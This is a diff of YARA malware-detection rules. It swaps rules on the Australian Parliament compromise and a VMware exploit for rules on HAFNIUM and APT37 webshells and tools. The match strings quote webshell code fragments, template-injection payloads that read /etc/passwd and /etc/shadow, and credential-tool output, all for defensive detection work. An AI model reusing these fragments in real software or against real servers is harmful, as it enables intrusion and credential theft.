+		$s1 = "ip.txt" ascii fullword
+		$s2 = "arp.txt" ascii fullword
+		$s3 = "system" ascii fullword
+		$s4 = "security" ascii fullword
 
 	condition:
-		uint16(0)==0x7566 and filesize <10KB and 3 of them
+		uint32(0)==0x4643534d and filesize <10000KB and ($s1 in (0..200) and $s2 in (0..200) and $s3 in (0..200) and $s4 in (0..200))
 }
-rule SIGNATURE_BASE_APT_Script_AUS_4 : FILE
+rule SIGNATURE_BASE_WEBSHELL_Compiled_Webshell_Mar2021_1 : FILE
 {
 	meta:
-		description = "Detetcs a script involved in the Australian Parliament House network compromise"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5cbf2476-5ce8-540d-b87b-e400daf49b43"
-		date = "2019-02-18"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L73-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a81365572380964abe07a1ec16a9ea299bf16a4e624285faaa6f72c44f762d2"
+		description = "Triggers on temporary pe files containing strings commonly used in webshells."
+		author = "Bundesamt fuer Sicherheit in der Informationstechnik"
+		id = "9336bd2c-791c-5c3e-9733-724a6a23864a"
+		date = "2021-03-05"
+		modified = "2021-03-12"
+		reference = "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L275-L295"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d2e5f91f7bb50984c491eb9632d3863febc986760e4d03c8255872887ce4dc4a"
 		score = 75
-		quality = 83
+		quality = 81
 		tags = "FILE"
-		hash1 = "fdf15f388a511a63fbad223e6edb259abdd4009ec81fcc87ce84f0f2024c8057"
 
 	strings:
-		$x1 = "myMutex = CreateMutex(0, 1, \"teX23stNew\")" fullword ascii
-		$x2 = "mmpath = Environ(appdataPath) & \"\\\" & \"Microsoft\" & \"\\\" & \"mm.accdb\"" fullword ascii
-		$x3 = "Dim mmpath As String, newmmpath  As String, appdataPath As String" fullword ascii
-		$x4 = "'MsgBox \"myMutex Created\" Do noting" fullword ascii
-		$x5 = "appdataPath = \"app\" & \"DatA\"" fullword ascii
-		$x6 = ".DoCmd.Close , , acSaveYes" fullword ascii
+		$x1 = /App_Web_[a-zA-Z0-9]{7,8}.dll/ ascii wide fullword
+		$a1 = "~/aspnet_client/" ascii wide nocase
+		$a2 = "~/auth/" ascii wide nocase
+		$b1 = "JScriptEvaluate" ascii wide fullword
+		$c1 = "get_Request" ascii wide fullword
+		$c2 = "get_Files" ascii wide fullword
+		$c3 = "get_Count" ascii wide fullword
+		$c4 = "get_Item" ascii wide fullword
+		$c5 = "get_Server" ascii wide fullword
 
 	condition:
-		filesize <7KB and 1 of them
+		uint16(0)==0x5a4d and filesize >5KB and filesize <40KB and all of ($x*) and 1 of ($a*) and ( all of ($b*) or all of ($c*))
 }
-rule SIGNATURE_BASE_APT_Webshell_AUS_5 : FILE
+rule SIGNATURE_BASE_APT_MAL_ASP_DLL_HAFNIUM_Mar21_1 : FILE
 {
 	meta:
-		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
+		description = "Detects HAFNIUM compiled ASP.NET DLLs dropped on compromised servers"
 		author = "Florian Roth (Nextron Systems)"
-		id = "59b3f6aa-2d3b-54b4-b543-57bd9d981e87"
-		date = "2019-02-18"
+		id = "68b8252e-a07d-5507-b556-a4d473f98157"
+		date = "2021-03-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L92-L111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fb0e53e5561f7f14f2ad6afcda2798d353cf4d54d12ae3354b03d62ed0c00bf3"
-		score = 75
+		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L297-L325"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a4a3f9c7029e67647823a13079655b24648f5e4a7e238439b7a933b19477c20c"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "54a17fb257db2d09d61af510753fd5aa00537638a81d0a8762a5645b4ef977e4"
+		hash1 = "097f5f700c000a13b91855beb61a931d34fb0abb738a110368f525e25c5bc738"
+		hash2 = "15744e767cbaa9b37ff7bb5c036dda9b653fc54fc9a96fe73fbd639150b3daa3"
+		hash3 = "52ae4de2e3f0ef7fe27c699cb60d41129a3acd4a62be60accc85d88c296e1ddb"
+		hash4 = "5f0480035ee23a12302c88be10e54bf3adbcf271a4bb1106d4975a28234d3af8"
+		hash5 = "6243fd2826c528ee329599153355fd00153dee611ca33ec17effcf00205a6e4e"
+		hash6 = "ebf6799bb86f0da2b05e66a0fe5a9b42df6dac848f4b951b2ed7b7a4866f19ef"
 
 	strings:
-		$a1 = "function DEC(d){return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(d));}" fullword ascii
-		$a2 = "function ENC(d){return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(d));}" fullword ascii
-		$s1 = "var hash=DEC(Request.Item['" ascii
-		$s2 = "Response.Write(ENC(SET_ASS_SUCCESS));" fullword ascii
-		$s3 = "hashtable[hash] = assCode;" fullword ascii
-		$s4 = "Response.Write(ss);" fullword ascii
-		$s5 = "var hashtable = Application[CachePtr];" fullword ascii
+		$s1 = "Page_Load" ascii fullword
+		$sc1 = { 20 00 3A 00 20 00 68 00 74 00 74 00 70 00 3A 00
+               2F 00 2F 00 (66|67) 00 2F 00 00 89 A3 0D 00 0A 00 }
+		$op1 = { 00 43 00 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f }
+		$op2 = { 58 00 77 00 30 00 4a 00 45 00 00 51 7e 00 2f 00 61 00 }
+		$op3 = { 01 0e 0e 05 20 01 01 11 79 04 07 01 12 2d 04 07 01 12 31 02 }
+		$op4 = { 5e 00 03 00 bc 22 00 00 00 00 01 00 85 03 2b 00 03 00 cc }
 
 	condition:
-		uint16(0)==0x7566 and filesize <2KB and 4 of them
+		uint16(0)==0x5a4d and filesize <50KB and all of ($s*) or all of ($op*)
 }
-rule SIGNATURE_BASE_HKTL_Lazycat_Logeraser
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Fileexplorer_Mar21_1 : FILE
 {
 	meta:
-		description = "Detetcs a tool used in the Australian Parliament House network compromise"
+		description = "Detects Chopper like ASPX Webshells"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a3d74657-a389-5482-ab26-966e790afd50"
-		date = "2019-02-18"
+		id = "edcaa2a8-6fea-584e-90c2-307a2dfc9f7f"
+		date = "2021-03-31"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L113-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2b4b69dd675172b9b0c08fac674b6daa107535694b4073750501627fb48d12c2"
-		score = 75
-		quality = 35
-		tags = ""
-		hash1 = "1c113dce265e4d744245a7c55dadc80199ae972a9e0ecbd0c5ced57067cf755b"
-		hash2 = "510375f8142b3651df67d42c3eff8d2d880987c0e057fc75a5583f36de34bf0e"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L363-L397"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b4ffd222b38e76455fff2650b72bdcaff281323103f342b427013cd3fffdc21"
+		score = 80
+		quality = 85
+		tags = "FILE"
+		hash1 = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
 
 	strings:
-		$x1 = "LazyCat.dll" ascii wide fullword
-		$x2 = ".local_privilege_escalation.rotten_potato" ascii wide
-		$x3 = "LazyCat.Extension" ascii wide
-		$x4 = " MEOWof" ascii wide
-		$x5 = "VirtualSite: {0}, Address: {1:X16}, Name: {2}, Handle: {3:X16}, LogPath: {4}" fullword wide
-		$s1 = "LazyCat" fullword ascii wide
-		$s2 = "$e3ff37f2-85d7-4b24-a385-7eeb1f5a9562"
-		$s3 = "local -> remote {0} bytes"
-		$s4 = "remote -> local {0} bytes"
+		$x1 = "<span style=\"background-color: #778899; color: #fff; padding: 5px; cursor: pointer\" onclick=" ascii
+		$xc1 = { 3C 61 73 70 3A 48 69 64 64 65 6E 46 69 65 6C 64
+               20 72 75 6E 61 74 3D 22 73 65 72 76 65 72 22 20
+               49 44 3D 22 ?? ?? ?? ?? ?? 22 20 2F 3E 3C 62 72
+               20 2F 3E 3C 62 72 20 2F 3E 20 50 72 6F 63 65 73
+               73 20 4E 61 6D 65 3A 3C 61 73 70 3A 54 65 78 74
+               42 6F 78 20 49 44 3D }
+		$xc2 = { 22 3E 43 6F 6D 6D 61 6E 64 3C 2F 6C 61 62 65 6C
+               3E 3C 69 6E 70 75 74 20 69 64 3D 22 ?? ?? ?? ??
+               ?? 22 20 74 79 70 65 3D 22 72 61 64 69 6F 22 20
+               6E 61 6D 65 3D 22 74 61 62 73 22 3E 3C 6C 61 62
+               65 6C 20 66 6F 72 3D 22 ?? ?? ?? ?? ?? 22 3E 46
+               69 6C 65 20 45 78 70 6C 6F 72 65 72 3C 2F 6C 61
+               62 65 6C 3E 3C 25 2D 2D }
+		$r1 = "(Request.Form[" ascii
+		$s1 = ".Text + \" Created!\";" ascii
+		$s2 = "DriveInfo.GetDrives()" ascii
+		$s3 = "Encoding.UTF8.GetString(FromBase64String(str.Replace(" ascii
+		$s4 = "encodeURIComponent(btoa(String.fromCharCode.apply(null, new Uint8Array(bytes))));;"
 
 	condition:
-		3 of them
+		uint16(0)==0x253c and filesize <100KB and (1 of ($x*) or 2 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_HKTL_Powerkatz_Feb19_1
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Chopper_Like_Mar21_1 : FILE
 {
 	meta:
-		description = "Detetcs a tool used in the Australian Parliament House network compromise"
+		description = "Detects Chopper like ASPX Webshells"
 		author = "Florian Roth (Nextron Systems)"
-		id = "294d6f6c-dbc8-5431-87a0-64abe582c4ea"
-		date = "2019-02-18"
+		id = "a4dc1880-865f-5e20-89a2-3a642c453ef9"
+		date = "2021-03-31"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L137-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1d39d68c5c5a3f6142a966925e2a136e937bc09abddd4080862346683886455"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium.yar#L399-L416"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "baa9eb1e3c4ac5ce49d27b1c3f75c8b6590567e25d98761a8b704478f2cee970"
+		score = 85
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "ac44513e5ef93d8cbc17219350682c2246af6d5eb85c1b4302141d94c3b06c90"
 
 	strings:
-		$x1 = "Powerkatz32" ascii wide fullword
-		$x2 = "Powerkatz64" ascii wide
-		$s1 = "GetData: not found taskName" fullword ascii wide
-		$s2 = "GetRes Ex:" fullword ascii wide
+		$s1 = "http://f/<script language=\"JScript\" runat=\"server\">var _0x" ascii
+		$s2 = "));function Page_Load(){var _0x" ascii
+		$s3 = ";eval(Request[_0x" ascii
+		$s4 = "','orange','unsafe','" ascii
 
 	condition:
-		1 of ($x*) and 1 of ($s*)
+		filesize <3KB and 1 of them or 2 of them
 }
-rule SIGNATURE_BASE_HKTL_Unknown_Feb19_1
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT37_Smb_Scanner : FILE
 {
 	meta:
-		description = "Detetcs a tool used in the Australian Parliament House network compromise"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bdcadc4b-8881-5dc7-b203-4e79cbc850ed"
-		date = "2019-02-18"
+		description = "Unknown smb login scanner used by APT37"
+		author = "Marc Stroebel"
+		id = "89a5cc32-f151-583d-823d-692de2c2b084"
+		date = "2020-12-15"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aus_parl_compromise.yar#L154-L172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "231c771ed24106a8daf352a0df1bc2db43ebd8d1108d7fa1162d03d40e738d46"
+		reference = "https://www.hybrid-analysis.com/sample/d16163526242508d6961f061aaffe3ae5321bd64d8ceb6b2788f1570757595fc?environmentId=2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L2-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bea71db7052f1c22c01cfbf710d4ed24651cbbd8b0fd29f09dfd49c4e314028"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "not a valid timeout format!" ascii wide fullword
-		$x2 = "host can not be empty!" ascii wide fullword
-		$x3 = "not a valid port format!" ascii wide fullword
-		$x4 = "{0} - {1} TTL={2} time={3}" ascii wide fullword
-		$x5 = "ping count is not a correct format!" ascii wide fullword
-		$s1 = "The result is too large,program store to '{0}'.Please download it manully." fullword ascii wide
-		$s2 = "C:\\Windows\\temp\\" ascii wide
+		$s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
+		$s2 = "%s - %s:(Username - %s / Password - %s" fullword ascii
+		$s3 = "Load mpr.dll Error " fullword ascii
+		$s4 = "Load Netapi32.dll Error " fullword ascii
+		$s5 = "%s U/P not Correct! - %d" fullword ascii
+		$s6 = "GetNetWorkInfo Version 1.0" fullword wide
+		$s7 = "Hello World!" fullword wide
+		$s8 = "%s Error: %ld" fullword ascii
+		$s9 = "%s U/P Correct!" fullword ascii
+		$s10 = "%s --------" fullword ascii
+		$s11 = "%s%-30s%I64d" fullword ascii
+		$s12 = "%s%-30s(DIR)" fullword ascii
+		$s13 = "%04d-%02d-%02d %02d:%02d" fullword ascii
+		$s14 = "Share:              Local Path:                   Uses:   Descriptor:" fullword ascii
+		$s15 = "Share:              Type:                   Remark:" fullword ascii
 
 	condition:
-		1 of ($x*) or 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and (10 of them )
 }
-rule SIGNATURE_BASE_Malrtf_Ole2Link : EXPLOIT FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT37_Cred_Tool : FILE
 {
 	meta:
-		description = "Detects weaponized RTF documents with OLE2Link exploit"
-		author = "@h3x2b <tracker _AT h3x.eu>"
-		id = "5080e79a-3abc-5fc3-902e-b362f20510f9"
-		date = "2023-12-05"
+		description = "Unknown cred tool used by APT37"
+		author = "Markus Poelloth"
+		id = "e830025a-f2ac-55b1-aca3-ded9dba83a67"
+		date = "2020-12-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_rtf_ole2link.yar#L1-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7ef764a0006b81c2b50699aa1fccb35c7c7da982cb8d56e02097114468e298f"
+		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L31-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fb7247b88f2d252e7c9d5034c209945bc9e17f49de3dcdb5bf50b5afb302987"
 		score = 75
 		quality = 85
-		tags = "EXPLOIT, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$rtf_olelink_01 = "\\objdata" nocase
-		$rtf_olelink_02 = "4f4c45324c696e6b" nocase
-		$rtf_olelink_03 = "d0cf11e0a1b11ae1" nocase
-		$rtf_payload_01 = "68007400740070003a002f002f00" nocase
-		$rtf_payload_02 = "680074007400700073003a002f002f00" nocase
-		$rtf_payload_03 = "6600740070003a002f002f00" nocase
+		$s1 = "        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>" fullword ascii
+		$s2 = "Domain Login" fullword ascii
+		$s3 = "IEShims_GetOriginatingThreadContext" fullword ascii
+		$s4 = " Type Descriptor'" fullword ascii
+		$s5 = "User: %s" fullword ascii
+		$s6 = "Pass: %s" fullword ascii
+		$s7 = "  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
+		$s8 = "E@c:\\u" fullword ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and all of ($rtf_olelink_*) and any of ($rtf_payload_*)
+		filesize <500KB and 7 of them
 }
-rule SIGNATURE_BASE_Win32_Buzus_Softpulse : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT37_RAT_Loader
 {
 	meta:
-		description = "Trojan Buzus / Softpulse"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3b555916-030a-5773-b2f1-e995fc81b697"
-		date = "2015-05-13"
+		description = "BLINDINGCAN RAT loader named iconcash.db used by APT37"
+		author = "Marc Stroebel"
+		id = "6c3e8465-d607-59bf-85fc-5abbef71fb1c"
+		date = "2020-12-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_buzus_softpulse.yar#L2-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
-		logic_hash = "49625594db57e9d629860970c20493b76e554addc2edb41adba64673a820a94b"
+		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L52-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9"
+		logic_hash = "241f2683adc29e8aca30ae24278f3703fef0fed6b276dae488fdb32c167af1c9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$x1 = "pi4izd6vp0.com" fullword ascii
-		$s1 = "SELECT * FROM Win32_Process" fullword wide
-		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
-		$s5 = "Find_RepeatProcess" fullword ascii
-		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" wide
-		$s7 = "myapp.exe" fullword ascii
-		$s14 = "/c ping -n 1 www.google" wide
-
 	condition:
-		uint16(0)==0x5a4d and (($x1 and 2 of ($s*)) or all of ($s*))
+		(pe.version_info["OriginalFilename"] contains "MFC_DLL.dll") and (pe.exports("SMain") and pe.exports("SMainW"))
 }
-rule SIGNATURE_BASE_POSHSPY_Malware
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT37_Webshell_Img_Thumbs_Asp : FILE
 {
 	meta:
-		description = "Detects"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7e908efc-0023-5be1-9871-8bfbf8b9e53a"
-		date = "2017-07-15"
+		description = "Webshell named img.asp, thumbs.asp or thumb.asp used by APT37"
+		author = "Moritz Oettle"
+		id = "e45d4507-81de-5f72-9ce2-4f0e3e5c62b1"
+		date = "2020-12-15"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poshspy.yar#L11-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1f8b502950d2f7600041b5492f529682b9f5f2863c36ad40618b5ed78a94567"
+		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L68-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef"
+		logic_hash = "58ccee11c08330c8cd4148e623a2e59e024d6d5f3067331dbdd962d0f6a8daa4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "function sWP($cN, $pN, $aK, $aI)" fullword ascii
-		$x2 = "$aeK = [byte[]] (0x69, 0x87, 0x0b, 0xf2" ascii
-		$x3 = "(('variant', 'excretions', 'accumulators', 'winslow', 'whistleable', 'len',"
-		$x4 = "$cPairKey = \"BwIAAACkAABSU0EyAAQAAAEAA"
-		$x5 = "$exeRes = exePldRoutine"
-		$x6 = "ZgB1AG4AYwB0AGkAbwBuACAAcAB1AHIAZgBDAHIA"
+		$s1 = "strMsg = \"E : F\"" fullword ascii
+		$s2 = "strMsg = \"S : \" & Len(fileData)" fullword ascii
+		$s3 = "Left(workDir, InStrRev(workDir, \"/\")) & \"video\""
+		$a1 = "Server.CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$a2 = "Dim tmpPath, workDir" fullword ascii
+		$a3 = "Dim objFSO, objTextStream" fullword ascii
+		$a4 = "workDir = Request.ServerVariables(\"URL\")" fullword ascii
+		$a5 = "InStrRev(workDir, \"/\")" ascii
+		$g1 = "WriteFile = 0" fullword ascii
+		$g2 = "fileData = Request.Form(\"fp\")" fullword ascii
+		$g3 = "fileName = Request.Form(\"fr\")" fullword ascii
+		$g4 = "Err.Clear()" fullword ascii
+		$g5 = "Option Explicit" fullword ascii
 
 	condition:
-		1 of them
+		filesize <2KB and ((1 of ($s*)) or (3 of ($a*)) or (5 of ($g*)))
 }
-rule SIGNATURE_BASE_SUSP_EXPL_POC_Vmware_Workspace_ONE_CVE_2022_22954_Apr22 : CVE_2022_22954
+import "pe"
+
+rule SIGNATURE_BASE_Hvs_APT37_Webshell_Template_Query_Asp : FILE
 {
 	meta:
-		description = "Detects payload as seen in PoC code to exploit Workspace ONE Access freemarker server-side template injection CVE-2022-22954"
-		author = "Florian Roth"
-		id = "b7b7cefb-96f5-53f9-b6fc-6e798f557c5d"
-		date = "2022-04-08"
-		modified = "2023-04-28"
-		old_rule_name = "EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22"
-		reference = "https://twitter.com/rwincey/status/1512241638994853891/photo/1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2022_22954_vmware_workspace_one.yar#L2-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2fb23bfc28140f818b9fc630b0c1bf0c70a8f4f85b9516cefe2ff26a9de6516c"
-		score = 70
+		description = "Webshell named template-query.aspimg.asp used by APT37"
+		author = "Moritz Oettle"
+		id = "dc006b46-4c51-59cd-8b7d-adbfec86cd2e"
+		date = "2020-12-15"
+		modified = "2023-12-05"
+		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L97-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90"
+		logic_hash = "d8bd017e9103bddb0b8a86effa8a4b0617b54bd643bcc36b6f678a3e60f8559f"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-22954"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28" ascii
-		$x2 = "${\"freemarker.template.utility.Execute\"?new()("
-		$x3 = "cat /etc/passwd\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
-		$x4 = "cat /etc/passwd\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
-		$x5 = "cat /etc/shadow\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
-		$x6 = "cat /etc/shadow\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
+		$g1 = "server.scripttimeout=600" fullword ascii
+		$g2 = "response.buffer=true" fullword ascii
+		$g3 = "response.expires=-1" fullword ascii
+		$g4 = "session.timeout=600" fullword ascii
+		$a1 = "redhat hacker" ascii
+		$a2 = "want_pre.asp" ascii
+		$a3 = "vgo=\"admin\"" ascii
+		$a4 = "ywc=false" ascii
+		$s1 = "public  br,ygv,gbc,ydo,yka,wzd,sod,vmd" fullword ascii
 
 	condition:
-		1 of them
+		filesize >70KB and filesize <200KB and ((1 of ($s*)) or (2 of ($a*)) or (3 of ($g*)))
 }
-import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Gifcloaked_Webshell_A : FILE
+rule SIGNATURE_BASE_Hvs_APT37_Webshell_Controllers_Asp : FILE
 {
 	meta:
-		description = "Looks like a webshell cloaked as GIF"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4fdef65c-204a-5019-9b4f-c5877c3e39d4"
-		date = "2023-12-05"
+		description = "Webshell named controllers.asp or inc-basket-offer.asp used by APT37"
+		author = "Moritz Oettle"
+		id = "82370415-30f4-514d-8806-e2daced96f07"
+		date = "2020-12-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara_mixed_ext_vars.yar#L180-L201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
-		logic_hash = "0c4570373d50c40745cd0523dcf8c34ee3cae1c298982b3a39d4a33e054aa779"
-		score = 60
-		quality = 85
+		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec20.yar#L140-L218"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "829462fc6d84aae04a962dfc919d0a392265fbf255eab399980d2b021e385517"
+		logic_hash = "a6e53e99f7500683d3b62a7630cecb53ee6c13b335cbf9912366675db964aefe"
+		score = 75
+		quality = 28
 		tags = "FILE"
